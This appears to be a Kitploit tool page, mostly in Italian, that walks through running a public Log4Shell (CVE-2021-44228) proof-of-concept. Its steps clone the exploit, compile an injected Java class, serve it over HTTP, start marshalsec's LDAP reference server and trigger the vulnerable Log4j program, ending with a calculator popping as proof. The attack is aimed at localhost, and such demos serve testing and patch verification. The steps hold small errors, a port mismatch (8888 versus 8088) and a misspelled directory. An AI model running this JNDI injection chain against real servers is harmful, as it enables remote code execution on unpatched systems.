CVE-2021-44228-Apache-Log4j — CVE-2021-44228-Apache-Log4j | Kitploit

CVE-2021-44228 (Apache Log4j Esecuzione remota di codice)

Versioni interessate: tutte le versioni dalla 2.0-beta9 alla 2.12.1 e dalla 2.13.0 alla 2.15.0

Avvisi / bollettini di sicurezza collegati a Log4Shell (CVE-2021-44228)

Utilizzo:

Scarica il progetto, compila InjectClazz.java

# download
git clone http://github.com/lonecloud/CVE-2021-44228-Apache-Log4j
cd CVE-2021-44228-Apache-Log4j
javac InjectClazz.java

Avvia il server web nella directory in cui si trova InjectClazz

# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
#

Scarica il server LDAP

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8088/#InjectClazz" 1389

Esegui il progetto

cd CCVE-2021-44228-Apache-Log4j
mvn clean package
java -cp target/CVE-2021-44228-Apache-Log4j-1.0-SNAPSHOT-all.jar Log4jAceMain


# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8088/InjectClazz.class
# 3. in webserver console,
#  127.0.0.1 - - [....] "GET /InjectClazz.class HTTP/1.1" 200 -

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